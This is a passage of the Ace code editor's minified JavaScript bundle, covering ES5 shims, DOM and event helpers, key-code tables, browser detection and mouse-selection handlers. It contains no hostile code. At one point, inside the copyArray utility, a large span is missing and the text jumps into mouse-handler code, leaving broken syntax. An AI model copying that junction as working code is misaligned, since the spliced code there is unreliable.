initial*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } if (!length && arguments.length == 1) { throw new TypeError("reduce of empty array with no initial value"); } var i = 0; var result; if (arguments.length >= 2) { result = arguments[1]; } else { do { if (i in self) { result = self[i++]; break; } if (++i >= length) { throw new TypeError("reduce of empty array with no initial value"); } } while (true); } for (; i < length; i++) { if (i in self) { result = fun.call(void 0, result, self[i], i, object); } } return result; }; } if (!Array.prototype.reduceRight) { Array.prototype.reduceRight = function reduceRight(fun /*, initial*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } if (!length && arguments.length == 1) { throw new TypeError("reduceRight of empty array with no initial value"); } var result, i = length - 1; if (arguments.length >= 2) { result = arguments[1]; } else { do { if (i in self) { result = self[i--]; break; } if (--i < 0) { throw new TypeError("reduceRight of empty array with no initial value"); } } while (true); } do { if (i in this) { result = fun.call(void 0, result, self[i], i, object); } } while (i--); return result; }; } if (!Array.prototype.indexOf || ([0, 1].indexOf(1, 2) != -1)) { Array.prototype.indexOf = function indexOf(sought /*, fromIndex */ ) { var self = splitString && _toString(this) == "[object String]" ? this.split("") : toObject(this), length = self.length >>> 0; if (!length) { return -1; } var i = 0; if (arguments.length > 1) { i = toInteger(arguments[1]); } i = i >= 0 ? i : Math.max(0, length + i); for (; i < length; i++) { if (i in self && self[i] === sought) { return i; } } return -1; }; } if (!Array.prototype.lastIndexOf || ([0, 1].lastIndexOf(0, -3) != -1)) { Array.prototype.lastIndexOf = function lastIndexOf(sought /*, fromIndex */) { var self = splitString && _toString(this) == "[object String]" ? this.split("") : toObject(this), length = self.length >>> 0; if (!length) { return -1; } var i = length - 1; if (arguments.length > 1) { i = Math.min(i, toInteger(arguments[1])); } i = i >= 0 ? i : length - Math.abs(i); for (; i >= 0; i--) { if (i in self && sought === self[i]) { return i; } } return -1; }; } if (!Object.getPrototypeOf) { Object.getPrototypeOf = function getPrototypeOf(object) { return object.__proto__ || ( object.constructor ? object.constructor.prototype : prototypeOfObject ); }; } if (!Object.getOwnPropertyDescriptor) { var ERR_NON_OBJECT = "Object.getOwnPropertyDescriptor called on a " + "non-object: "; Object.getOwnPropertyDescriptor = function getOwnPropertyDescriptor(object, property) { if ((typeof object != "object" && typeof object != "function") || object === null) throw new TypeError(ERR_NON_OBJECT + object); if (!owns(object, property)) return; var descriptor, getter, setter; descriptor = { enumerable: true, configurable: true }; if (supportsAccessors) { var prototype = object.__proto__; object.__proto__ = prototypeOfObject; var getter = lookupGetter(object, property); var setter = lookupSetter(object, property); object.__proto__ = prototype; if (getter || setter) { if (getter) descriptor.get = getter; if (setter) descriptor.set = setter; return descriptor; } } descriptor.value = object[property]; return descriptor; }; } if (!Object.getOwnPropertyNames) { Object.getOwnPropertyNames = function getOwnPropertyNames(object) { return Object.keys(object); }; } if (!Object.create) { var createEmpty; if (Object.prototype.__proto__ === null) { createEmpty = function () { return { "__proto__": null }; }; } else { createEmpty = function () { var empty = {}; for (var i in empty) empty[i] = null; empty.constructor = empty.hasOwnProperty = empty.propertyIsEnumerable = empty.isPrototypeOf = empty.toLocaleString = empty.toString = empty.valueOf = empty.__proto__ = null; return empty; } } Object.create = function create(prototype, properties) { var object; if (prototype === null) { object = createEmpty(); } else { if (typeof prototype != "object") throw new TypeError("typeof prototype["+(typeof prototype)+"] != 'object'"); var Type = function () {}; Type.prototype = prototype; object = new Type(); object.__proto__ = prototype; } if (properties !== void 0) Object.defineProperties(object, properties); return object; }; } function doesDefinePropertyWork(object) { try { Object.defineProperty(object, "sentinel", {}); return "sentinel" in object; } catch (exception) { } } if (Object.defineProperty) { var definePropertyWorksOnObject = doesDefinePropertyWork({}); var definePropertyWorksOnDom = typeof document == "undefined" || doesDefinePropertyWork(document.createElement("div")); if (!definePropertyWorksOnObject || !definePropertyWorksOnDom) { var definePropertyFallback = Object.defineProperty; } } if (!Object.defineProperty || definePropertyFallback) { var ERR_NON_OBJECT_DESCRIPTOR = "Property description must be an object: "; var ERR_NON_OBJECT_TARGET = "Object.defineProperty called on non-object: " var ERR_ACCESSORS_NOT_SUPPORTED = "getters & setters can not be defined " + "on this javascript engine"; Object.defineProperty = function defineProperty(object, property, descriptor) { if ((typeof object != "object" && typeof object != "function") || object === null) throw new TypeError(ERR_NON_OBJECT_TARGET + object); if ((typeof descriptor != "object" && typeof descriptor != "function") || descriptor === null) throw new TypeError(ERR_NON_OBJECT_DESCRIPTOR + descriptor); if (definePropertyFallback) { try { return definePropertyFallback.call(Object, object, property, descriptor); } catch (exception) { } } if (owns(descriptor, "value")) { if (supportsAccessors && (lookupGetter(object, property) || lookupSetter(object, property))) { var prototype = object.__proto__; object.__proto__ = prototypeOfObject; delete object[property]; object[property] = descriptor.value; object.__proto__ = prototype; } else { object[property] = descriptor.value; } } else { if (!supportsAccessors) throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED); if (owns(descriptor, "get")) defineGetter(object, property, descriptor.get); if (owns(descriptor, "set")) defineSetter(object, property, descriptor.set); } return object; }; } if (!Object.defineProperties) { Object.defineProperties = function defineProperties(object, properties) { for (var property in properties) { if (owns(properties, property)) Object.defineProperty(object, property, properties[property]); } return object; }; } if (!Object.seal) { Object.seal = function seal(object) { return object; }; } if (!Object.freeze) { Object.freeze = function freeze(object) { return object; }; } try { Object.freeze(function () {}); } catch (exception) { Object.freeze = (function freeze(freezeObject) { return function freeze(object) { if (typeof object == "function") { return object; } else { return freezeObject(object); } }; })(Object.freeze); } if (!Object.preventExtensions) { Object.preventExtensions = function preventExtensions(object) { return object; }; } if (!Object.isSealed) { Object.isSealed = function isSealed(object) { return false; }; } if (!Object.isFrozen) { Object.isFrozen = function isFrozen(object) { return false; }; } if (!Object.isExtensible) { Object.isExtensible = function isExtensible(object) { if (Object(object) === object) { throw new TypeError(); // TODO message } var name = ''; while (owns(object, name)) { name += '?'; } object[name] = true; var returnValue = owns(object, name); delete object[name]; return returnValue; }; } if (!Object.keys) { var hasDontEnumBug = true, dontEnums = [ "toString", "toLocaleString", "valueOf", "hasOwnProperty", "isPrototypeOf", "propertyIsEnumerable", "constructor" ], dontEnumsLength = dontEnums.length; for (var key in {"toString": null}) { hasDontEnumBug = false; } Object.keys = function keys(object) { if ( (typeof object != "object" && typeof object != "function") || object === null ) { throw new TypeError("Object.keys called on a non-object"); } var keys = []; for (var name in object) { if (owns(object, name)) { keys.push(name); } } if (hasDontEnumBug) { for (var i = 0, ii = dontEnumsLength; i < ii; i++) { var dontEnum = dontEnums[i]; if (owns(object, dontEnum)) { keys.push(dontEnum); } } } return keys; }; } if (!Date.now) { Date.now = function now() { return new Date().getTime(); }; } var ws = "\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003" + "\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028" + "\u2029\uFEFF"; if (!String.prototype.trim || ws.trim()) { ws = "[" + ws + "]"; var trimBeginRegexp = new RegExp("^" + ws + ws + "*"), trimEndRegexp = new RegExp(ws + ws + "*$"); String.prototype.trim = function trim() { return String(this).replace(trimBeginRegexp, "").replace(trimEndRegexp, ""); }; } function toInteger(n) { n = +n; if (n !== n) { // isNaN n = 0; } else if (n !== 0 && n !== (1/0) && n !== -(1/0)) { n = (n > 0 || -1) * Math.floor(Math.abs(n)); } return n; } function isPrimitive(input) { var type = typeof input; return ( input === null || type === "undefined" || type === "boolean" || type === "number" || type === "string" ); } function toPrimitive(input) { var val, valueOf, toString; if (isPrimitive(input)) { return input; } valueOf = input.valueOf; if (typeof valueOf === "function") { val = valueOf.call(input); if (isPrimitive(val)) { return val; } } toString = input.toString; if (typeof toString === "function") { val = toString.call(input); if (isPrimitive(val)) { return val; } } throw new TypeError(); } var toObject = function (o) { if (o == null) { // this matches both null and undefined throw new TypeError("can't convert "+o+" to object"); } return Object(o); }; }); ace.define("ace/lib/fixoldbrowsers",["require","exports","module","ace/lib/regexp","ace/lib/es5-shim"], function(require, exports, module) { "use strict"; require("./regexp"); require("./es5-shim"); }); ace.define("ace/lib/dom",["require","exports","module"], function(require, exports, module) { "use strict"; var XHTML_NS = "http://www.w3.org/1999/xhtml"; exports.getDocumentHead = function(doc) { if (!doc) doc = document; return doc.head || doc.getElementsByTagName("head")[0] || doc.documentElement; }; exports.createElement = function(tag, ns) { return document.createElementNS ? document.createElementNS(ns || XHTML_NS, tag) : document.createElement(tag); }; exports.hasCssClass = function(el, name) { var classes = (el.className || "").split(/\s+/g); return classes.indexOf(name) !== -1; }; exports.addCssClass = function(el, name) { if (!exports.hasCssClass(el, name)) { el.className += " " + name; } }; exports.removeCssClass = function(el, name) { var classes = el.className.split(/\s+/g); while (true) { var index = classes.indexOf(name); if (index == -1) { break; } classes.splice(index, 1); } el.className = classes.join(" "); }; exports.toggleCssClass = function(el, name) { var classes = el.className.split(/\s+/g), add = true; while (true) { var index = classes.indexOf(name); if (index == -1) { break; } add = false; classes.splice(index, 1); } if (add) classes.push(name); el.className = classes.join(" "); return add; }; exports.setCssClass = function(node, className, include) { if (include) { exports.addCssClass(node, className); } else { exports.removeCssClass(node, className); } }; exports.hasCssString = function(id, doc) { var index = 0, sheets; doc = doc || document; if (doc.createStyleSheet && (sheets = doc.styleSheets)) { while (index < sheets.length) if (sheets[index++].owningElement.id === id) return true; } else if ((sheets = doc.getElementsByTagName("style"))) { while (index < sheets.length) if (sheets[index++].id === id) return true; } return false; }; exports.importCssString = function importCssString(cssText, id, doc) { doc = doc || document; if (id && exports.hasCssString(id, doc)) return null; var style; if (id) cssText += "\n/*# sourceURL=ace/css/" + id + " */"; if (doc.createStyleSheet) { style = doc.createStyleSheet(); style.cssText = cssText; if (id) style.owningElement.id = id; } else { style = exports.createElement("style"); style.appendChild(doc.createTextNode(cssText)); if (id) style.id = id; exports.getDocumentHead(doc).appendChild(style); } }; exports.importCssStylsheet = function(uri, doc) { if (doc.createStyleSheet) { doc.createStyleSheet(uri); } else { var link = exports.createElement('link'); link.rel = 'stylesheet'; link.href = uri; exports.getDocumentHead(doc).appendChild(link); } }; exports.getInnerWidth = function(element) { return ( parseInt(exports.computedStyle(element, "paddingLeft"), 10) + parseInt(exports.computedStyle(element, "paddingRight"), 10) + element.clientWidth ); }; exports.getInnerHeight = function(element) { return ( parseInt(exports.computedStyle(element, "paddingTop"), 10) + parseInt(exports.computedStyle(element, "paddingBottom"), 10) + element.clientHeight ); }; exports.scrollbarWidth = function(document) { var inner = exports.createElement("ace_inner"); inner.style.width = "100%"; inner.style.minWidth = "0px"; inner.style.height = "200px"; inner.style.display = "block"; var outer = exports.createElement("ace_outer"); var style = outer.style; style.position = "absolute"; style.left = "-10000px"; style.overflow = "hidden"; style.width = "200px"; style.minWidth = "0px"; style.height = "150px"; style.display = "block"; outer.appendChild(inner); var body = document.documentElement; body.appendChild(outer); var noScrollbar = inner.offsetWidth; style.overflow = "scroll"; var withScrollbar = inner.offsetWidth; if (noScrollbar == withScrollbar) { withScrollbar = outer.clientWidth; } body.removeChild(outer); return noScrollbar-withScrollbar; }; if (typeof document == "undefined") { exports.importCssString = function() {}; return; } if (window.pageYOffset !== undefined) { exports.getPageScrollTop = function() { return window.pageYOffset; }; exports.getPageScrollLeft = function() { return window.pageXOffset; }; } else { exports.getPageScrollTop = function() { return document.body.scrollTop; }; exports.getPageScrollLeft = function() { return document.body.scrollLeft; }; } if (window.getComputedStyle) exports.computedStyle = function(element, style) { if (style) return (window.getComputedStyle(element, "") || {})[style] || ""; return window.getComputedStyle(element, "") || {}; }; else exports.computedStyle = function(element, style) { if (style) return element.currentStyle[style]; return element.currentStyle; }; exports.setInnerHtml = function(el, innerHtml) { var element = el.cloneNode(false);//document.createElement("div"); element.innerHTML = innerHtml; el.parentNode.replaceChild(element, el); return element; }; if ("textContent" in document.documentElement) { exports.setInnerText = function(el, innerText) { el.textContent = innerText; }; exports.getInnerText = function(el) { return el.textContent; }; } else { exports.setInnerText = function(el, innerText) { el.innerText = innerText; }; exports.getInnerText = function(el) { return el.innerText; }; } exports.getParentWindow = function(document) { return document.defaultView || document.parentWindow; }; }); ace.define("ace/lib/oop",["require","exports","module"], function(require, exports, module) { "use strict"; exports.inherits = function(ctor, superCtor) { ctor.super_ = superCtor; ctor.prototype = Object.create(superCtor.prototype, { constructor: { value: ctor, enumerable: false, writable: true, configurable: true } }); }; exports.mixin = function(obj, mixin) { for (var key in mixin) { obj[key] = mixin[key]; } return obj; }; exports.implement = function(proto, mixin) { exports.mixin(proto, mixin); }; }); ace.define("ace/lib/keys",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/oop"], function(require, exports, module) { "use strict"; require("./fixoldbrowsers"); var oop = require("./oop"); var Keys = (function() { var ret = { MODIFIER_KEYS: { 16: 'Shift', 17: 'Ctrl', 18: 'Alt', 224: 'Meta' }, KEY_MODS: { "ctrl": 1, "alt": 2, "option" : 2, "shift": 4, "super": 8, "meta": 8, "command": 8, "cmd": 8 }, FUNCTION_KEYS : { 8 : "Backspace", 9 : "Tab", 13 : "Return", 19 : "Pause", 27 : "Esc", 32 : "Space", 33 : "PageUp", 34 : "PageDown", 35 : "End", 36 : "Home", 37 : "Left", 38 : "Up", 39 : "Right", 40 : "Down", 44 : "Print", 45 : "Insert", 46 : "Delete", 96 : "Numpad0", 97 : "Numpad1", 98 : "Numpad2", 99 : "Numpad3", 100: "Numpad4", 101: "Numpad5", 102: "Numpad6", 103: "Numpad7", 104: "Numpad8", 105: "Numpad9", '-13': "NumpadEnter", 112: "F1", 113: "F2", 114: "F3", 115: "F4", 116: "F5", 117: "F6", 118: "F7", 119: "F8", 120: "F9", 121: "F10", 122: "F11", 123: "F12", 144: "Numlock", 145: "Scrolllock" }, PRINTABLE_KEYS: { 32: ' ', 48: '0', 49: '1', 50: '2', 51: '3', 52: '4', 53: '5', 54: '6', 55: '7', 56: '8', 57: '9', 59: ';', 61: '=', 65: 'a', 66: 'b', 67: 'c', 68: 'd', 69: 'e', 70: 'f', 71: 'g', 72: 'h', 73: 'i', 74: 'j', 75: 'k', 76: 'l', 77: 'm', 78: 'n', 79: 'o', 80: 'p', 81: 'q', 82: 'r', 83: 's', 84: 't', 85: 'u', 86: 'v', 87: 'w', 88: 'x', 89: 'y', 90: 'z', 107: '+', 109: '-', 110: '.', 186: ';', 187: '=', 188: ',', 189: '-', 190: '.', 191: '/', 192: '`', 219: '[', 220: '\\',221: ']', 222: "'", 111: '/', 106: '*' } }; var name, i; for (i in ret.FUNCTION_KEYS) { name = ret.FUNCTION_KEYS[i].toLowerCase(); ret[name] = parseInt(i, 10); } for (i in ret.PRINTABLE_KEYS) { name = ret.PRINTABLE_KEYS[i].toLowerCase(); ret[name] = parseInt(i, 10); } oop.mixin(ret, ret.MODIFIER_KEYS); oop.mixin(ret, ret.PRINTABLE_KEYS); oop.mixin(ret, ret.FUNCTION_KEYS); ret.enter = ret["return"]; ret.escape = ret.esc; ret.del = ret["delete"]; ret[173] = '-'; (function() { var mods = ["cmd", "ctrl", "alt", "shift"]; for (var i = Math.pow(2, mods.length); i--;) { ret.KEY_MODS[i] = mods.filter(function(x) { return i & ret.KEY_MODS[x]; }).join("-") + "-"; } })(); ret.KEY_MODS[0] = ""; ret.KEY_MODS[-1] = "input-"; return ret; })(); oop.mixin(exports, Keys); exports.keyCodeToString = function(keyCode) { var keyString = Keys[keyCode]; if (typeof keyString != "string") keyString = String.fromCharCode(keyCode); return keyString.toLowerCase(); }; }); ace.define("ace/lib/useragent",["require","exports","module"], function(require, exports, module) { "use strict"; exports.OS = { LINUX: "LINUX", MAC: "MAC", WINDOWS: "WINDOWS" }; exports.getOS = function() { if (exports.isMac) { return exports.OS.MAC; } else if (exports.isLinux) { return exports.OS.LINUX; } else { return exports.OS.WINDOWS; } }; if (typeof navigator != "object") return; var os = (navigator.platform.match(/mac|win|linux/i) || ["other"])[0].toLowerCase(); var ua = navigator.userAgent; exports.isWin = (os == "win"); exports.isMac = (os == "mac"); exports.isLinux = (os == "linux"); exports.isIE = (navigator.appName == "Microsoft Internet Explorer" || navigator.appName.indexOf("MSAppHost") >= 0) ? parseFloat((ua.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]) : parseFloat((ua.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]); // for ie exports.isOldIE = exports.isIE && exports.isIE < 9; exports.isGecko = exports.isMozilla = (window.Controllers || window.controllers) && window.navigator.product === "Gecko"; exports.isOldGecko = exports.isGecko && parseInt((ua.match(/rv\:(\d+)/)||[])[1], 10) < 4; exports.isOpera = window.opera && Object.prototype.toString.call(window.opera) == "[object Opera]"; exports.isWebKit = parseFloat(ua.split("WebKit/")[1]) || undefined; exports.isChrome = parseFloat(ua.split(" Chrome/")[1]) || undefined; exports.isAIR = ua.indexOf("AdobeAIR") >= 0; exports.isIPad = ua.indexOf("iPad") >= 0; exports.isTouchPad = ua.indexOf("TouchPad") >= 0; exports.isChromeOS = ua.indexOf(" CrOS ") >= 0; }); ace.define("ace/lib/event",["require","exports","module","ace/lib/keys","ace/lib/useragent"], function(require, exports, module) { "use strict"; var keys = require("./keys"); var useragent = require("./useragent"); var pressedKeys = null; var ts = 0; exports.addListener = function(elem, type, callback) { if (elem.addEventListener) { return elem.addEventListener(type, callback, false); } if (elem.attachEvent) { var wrapper = function() { callback.call(elem, window.event); }; callback._wrapper = wrapper; elem.attachEvent("on" + type, wrapper); } }; exports.removeListener = function(elem, type, callback) { if (elem.removeEventListener) { return elem.removeEventListener(type, callback, false); } if (elem.detachEvent) { elem.detachEvent("on" + type, callback._wrapper || callback); } }; exports.stopEvent = function(e) { exports.stopPropagation(e); exports.preventDefault(e); return false; }; exports.stopPropagation = function(e) { if (e.stopPropagation) e.stopPropagation(); else e.cancelBubble = true; }; exports.preventDefault = function(e) { if (e.preventDefault) e.preventDefault(); else e.returnValue = false; }; exports.getButton = function(e) { if (e.type == "dblclick") return 0; if (e.type == "contextmenu" || (useragent.isMac && (e.ctrlKey && !e.altKey && !e.shiftKey))) return 2; if (e.preventDefault) { return e.button; } else { return {1:0, 2:2, 4:1}[e.button]; } }; exports.capture = function(el, eventHandler, releaseCaptureHandler) { function onMouseUp(e) { eventHandler && eventHandler(e); releaseCaptureHandler && releaseCaptureHandler(e); exports.removeListener(document, "mousemove", eventHandler, true); exports.removeListener(document, "mouseup", onMouseUp, true); exports.removeListener(document, "dragstart", onMouseUp, true); } exports.addListener(document, "mousemove", eventHandler, true); exports.addListener(document, "mouseup", onMouseUp, true); exports.addListener(document, "dragstart", onMouseUp, true); return onMouseUp; }; exports.addTouchMoveListener = function (el, callback) { if ("ontouchmove" in el) { var startx, starty; exports.addListener(el, "touchstart", function (e) { var touchObj = e.changedTouches[0]; startx = touchObj.clientX; starty = touchObj.clientY; }); exports.addListener(el, "touchmove", function (e) { var factor = 1, touchObj = e.changedTouches[0]; e.wheelX = -(touchObj.clientX - startx) / factor; e.wheelY = -(touchObj.clientY - starty) / factor; startx = touchObj.clientX; starty = touchObj.clientY; callback(e); }); } }; exports.addMouseWheelListener = function(el, callback) { if ("onmousewheel" in el) { exports.addListener(el, "mousewheel", function(e) { var factor = 8; if (e.wheelDeltaX !== undefined) { e.wheelX = -e.wheelDeltaX / factor; e.wheelY = -e.wheelDeltaY / factor; } else { e.wheelX = 0; e.wheelY = -e.wheelDelta / factor; } callback(e); }); } else if ("onwheel" in el) { exports.addListener(el, "wheel", function(e) { var factor = 0.35; switch (e.deltaMode) { case e.DOM_DELTA_PIXEL: e.wheelX = e.deltaX * factor || 0; e.wheelY = e.deltaY * factor || 0; break; case e.DOM_DELTA_LINE: case e.DOM_DELTA_PAGE: e.wheelX = (e.deltaX || 0) * 5; e.wheelY = (e.deltaY || 0) * 5; break; } callback(e); }); } else { exports.addListener(el, "DOMMouseScroll", function(e) { if (e.axis && e.axis == e.HORIZONTAL_AXIS) { e.wheelX = (e.detail || 0) * 5; e.wheelY = 0; } else { e.wheelX = 0; e.wheelY = (e.detail || 0) * 5; } callback(e); }); } }; exports.addMultiMouseDownListener = function(elements, timeouts, eventHandler, callbackName) { var clicks = 0; var startX, startY, timer; var eventNames = { 2: "dblclick", 3: "tripleclick", 4: "quadclick" }; function onMousedown(e) { if (exports.getButton(e) !== 0) { clicks = 0; } else if (e.detail > 1) { clicks++; if (clicks > 4) clicks = 1; } else { clicks = 1; } if (useragent.isIE) { var isNewClick = Math.abs(e.clientX - startX) > 5 || Math.abs(e.clientY - startY) > 5; if (!timer || isNewClick) clicks = 1; if (timer) clearTimeout(timer); timer = setTimeout(function() {timer = null}, timeouts[clicks - 1] || 600); if (clicks == 1) { startX = e.clientX; startY = e.clientY; } } e._clicks = clicks; eventHandler[callbackName]("mousedown", e); if (clicks > 4) clicks = 0; else if (clicks > 1) return eventHandler[callbackName](eventNames[clicks], e); } function onDblclick(e) { clicks = 2; if (timer) clearTimeout(timer); timer = setTimeout(function() {timer = null}, timeouts[clicks - 1] || 600); eventHandler[callbackName]("mousedown", e); eventHandler[callbackName](eventNames[clicks], e); } if (!Array.isArray(elements)) elements = [elements]; elements.forEach(function(el) { exports.addListener(el, "mousedown", onMousedown); if (useragent.isOldIE) exports.addListener(el, "dblclick", onDblclick); }); }; var getModifierHash = useragent.isMac && useragent.isOpera && !("KeyboardEvent" in window) ? function(e) { return 0 | (e.metaKey ? 1 : 0) | (e.altKey ? 2 : 0) | (e.shiftKey ? 4 : 0) | (e.ctrlKey ? 8 : 0); } : function(e) { return 0 | (e.ctrlKey ? 1 : 0) | (e.altKey ? 2 : 0) | (e.shiftKey ? 4 : 0) | (e.metaKey ? 8 : 0); }; exports.getModifierString = function(e) { return keys.KEY_MODS[getModifierHash(e)]; }; function normalizeCommandKeys(callback, e, keyCode) { var hashId = getModifierHash(e); if (!useragent.isMac && pressedKeys) { if (pressedKeys.OSKey) hashId |= 8; if (pressedKeys.altGr) { if ((3 & hashId) != 3) pressedKeys.altGr = 0; else return; } if (keyCode === 18 || keyCode === 17) { var location = "location" in e ? e.location : e.keyLocation; if (keyCode === 17 && location === 1) { if (pressedKeys[keyCode] == 1) ts = e.timeStamp; } else if (keyCode === 18 && hashId === 3 && location === 2) { var dt = e.timeStamp - ts; if (dt < 50) pressedKeys.altGr = true; } } } if (keyCode in keys.MODIFIER_KEYS) { keyCode = -1; } if (hashId & 8 && (keyCode >= 91 && keyCode <= 93)) { keyCode = -1; } if (!hashId && keyCode === 13) { var location = "location" in e ? e.location : e.keyLocation; if (location === 3) { callback(e, hashId, -keyCode); if (e.defaultPrevented) return; } } if (useragent.isChromeOS && hashId & 8) { callback(e, hashId, keyCode); if (e.defaultPrevented) return; else hashId &= ~8; } if (!hashId && !(keyCode in keys.FUNCTION_KEYS) && !(keyCode in keys.PRINTABLE_KEYS)) { return false; } return callback(e, hashId, keyCode); } exports.addCommandKeyListener = function(el, callback) { var addListener = exports.addListener; if (useragent.isOldGecko || (useragent.isOpera && !("KeyboardEvent" in window))) { var lastKeyDownKeyCode = null; addListener(el, "keydown", function(e) { lastKeyDownKeyCode = e.keyCode; }); addListener(el, "keypress", function(e) { return normalizeCommandKeys(callback, e, lastKeyDownKeyCode); }); } else { var lastDefaultPrevented = null; addListener(el, "keydown", function(e) { var keyCode = e.keyCode; pressedKeys[keyCode] = (pressedKeys[keyCode] || 0) + 1; if (keyCode == 91 || keyCode == 92) { pressedKeys.OSKey = true; } else if (pressedKeys.OSKey) { if (e.timeStamp - pressedKeys.lastT > 200 && pressedKeys.count == 1) resetPressedKeys(); } if (pressedKeys[keyCode] == 1) pressedKeys.count++; pressedKeys.lastT = e.timeStamp; var result = normalizeCommandKeys(callback, e, keyCode); lastDefaultPrevented = e.defaultPrevented; return result; }); addListener(el, "keypress", function(e) { if (lastDefaultPrevented && (e.ctrlKey || e.altKey || e.shiftKey || e.metaKey)) { exports.stopEvent(e); lastDefaultPrevented = null; } }); addListener(el, "keyup", function(e) { var keyCode = e.keyCode; if (!pressedKeys[keyCode]) { resetPressedKeys(); } else { pressedKeys.count = Math.max(pressedKeys.count - 1, 0); } if (keyCode == 91 || keyCode == 92) { pressedKeys.OSKey = false; } pressedKeys[keyCode] = null; }); if (!pressedKeys) { resetPressedKeys(); addListener(window, "focus", resetPressedKeys); } } }; function resetPressedKeys() { pressedKeys = Object.create(null); pressedKeys.count = 0; pressedKeys.lastT = 0; } if (typeof window == "object" && window.postMessage && !useragent.isOldIE) { var postMessageId = 1; exports.nextTick = function(callback, win) { win = win || window; var messageName = "zero-timeout-message-" + postMessageId; exports.addListener(win, "message", function listener(e) { if (e.data == messageName) { exports.stopPropagation(e); exports.removeListener(win, "message", listener); callback(); } }); win.postMessage(messageName, "*"); }; } exports.nextFrame = typeof window == "object" && (window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || window.oRequestAnimationFrame); if (exports.nextFrame) exports.nextFrame = exports.nextFrame.bind(window); else exports.nextFrame = function(callback) { setTimeout(callback, 17); }; }); ace.define("ace/lib/lang",["require","exports","module"], function(require, exports, module) { "use strict"; exports.last = function(a) { return a[a.length - 1]; }; exports.stringReverse = function(string) { return string.split("").reverse().join(""); }; exports.stringRepeat = function (string, count) { var result = ''; while (count > 0) { if (count & 1) result += string; if (count >>= 1) string += string; } return result; }; var trimBeginRegexp = /^\s\s*/; var trimEndRegexp = /\s\s*$/; exports.stringTrimLeft = function (string) { return string.replace(trimBeginRegexp, ''); }; exports.stringTrimRight = function (string) { return string.replace(trimEndRegexp, ''); }; exports.copyObject = function(obj) { var copy = {}; for (var key in obj) { copy[key] = obj[key]; } return copy; }; exports.copyArray = function(array){ var copy = []; for (var i=0, l=array.length; i 1); return ev.preventDefault(); }; this.startSelect = function(pos, waitForClickSelection) { pos = pos || this.editor.renderer.screenToTextCoordinates(this.x, this.y); var editor = this.editor; editor.$blockScrolling++; if (this.mousedownEvent.getShiftKey()) editor.selection.selectToPosition(pos); else if (!waitForClickSelection) editor.selection.moveToPosition(pos); if (!waitForClickSelection) this.select(); if (editor.renderer.scroller.setCapture) { editor.renderer.scroller.setCapture(); } editor.setStyle("ace_selecting"); this.setState("select"); editor.$blockScrolling--; }; this.select = function() { var anchor, editor = this.editor; var cursor = editor.renderer.screenToTextCoordinates(this.x, this.y); editor.$blockScrolling++; if (this.$clickSelection) { var cmp = this.$clickSelection.comparePoint(cursor); if (cmp == -1) { anchor = this.$clickSelection.end; } else if (cmp == 1) { anchor = this.$clickSelection.start; } else { var orientedRange = calcRangeOrientation(this.$clickSelection, cursor); cursor = orientedRange.cursor; anchor = orientedRange.anchor; } editor.selection.setSelectionAnchor(anchor.row, anchor.column); } editor.selection.selectToPosition(cursor); editor.$blockScrolling--; editor.renderer.scrollCursorIntoView(); }; this.extendSelectionBy = function(unitName) { var anchor, editor = this.editor; var cursor = editor.renderer.screenToTextCoordinates(this.x, this.y); var range = editor.selection[unitName](cursor.row, cursor.column); editor.$blockScrolling++; if (this.$clickSelection) { var cmpStart = this.$clickSelection.comparePoint(range.start); var cmpEnd = this.$clickSelection.comparePoint(range.end); if (cmpStart == -1 && cmpEnd <= 0) { anchor = this.$clickSelection.end; if (range.end.row != cursor.row || range.end.column != cursor.column) cursor = range.start; } else if (cmpEnd == 1 && cmpStart >= 0) { anchor = this.$clickSelection.start; if (range.start.row != cursor.row || range.start.column != cursor.column) cursor = range.end; } else if (cmpStart == -1 && cmpEnd == 1) { cursor = range.end; anchor = range.start; } else { var orientedRange = calcRangeOrientation(this.$clickSelection, cursor); cursor = orientedRange.cursor; anchor = orientedRange.anchor; } editor.selection.setSelectionAnchor(anchor.row, anchor.column); } editor.selection.selectToPosition(cursor); editor.$blockScrolling--; editor.renderer.scrollCursorIntoView(); }; this.selectEnd = this.selectAllEnd = this.selectByWordsEnd = this.selectByLinesEnd = function() { this.$clickSelection = null; this.editor.unsetStyle("ace_selecting"); if (this.editor.renderer.scroller.releaseCapture) { this.editor.renderer.scroller.releaseCapture(); } }; this.focusWait = function() { var distance = calcDistance(this.mousedownEvent.x, this.mousedownEvent.y, this.x, this.y); var time = Date.now(); if (distance > DRAG_OFFSET || time - this.mousedownEvent.time > this.$focusTimout) this.startSelect(this.mousedownEvent.getDocumentPosition()); }; this.onDoubleClick = function(ev) { var pos = ev.getDocumentPosition(); var editor = this.editor; var session = editor.session; var range = session.getBracketRange(pos); if (range) { if (range.isEmpty()) { range.start.column--; range.end.column++; } this.setState("select"); } else { range = editor.selection.getWordRange(pos.row, pos.column); this.setState("selectByWords"); } this.$clickSelection = range; this.select(); }; this.onTripleClick = function(ev) { var pos = ev.getDocumentPosition(); var editor = this.editor; this.setState("selectByLines"); var range = editor.getSelectionRange(); if (range.isMultiLine() && range.contains(pos.row, pos.column)) { this.$clickSelection = editor.selection.getLineRange(range.start.row); this.$clickSelection.end = editor.selection.getLineRange(range.end.row).end; } else { this.$clickSelection = editor.selection.getLineRange(pos.row); } this.select(); }; this.onQuadClick = function(ev) { var editor = this.editor; editor.selectAll(); this.$clickSelection = editor.getSelectionRange(); this.setState("selectAll"); }; this.onMouseWheel = function(ev) { if (ev.getAccelKey()) return; if (ev.getShiftKey() && ev.wheelY && !ev.wheelX) { ev.wheelX = ev.wheelY; ev.wheelY = 0; } var t = ev.domEvent.timeStamp; var dt = t - (this.$lastScrollTime||0); var editor = this.editor; var isScrolable = editor.renderer.isScrollableBy(ev.wheelX * ev.speed, 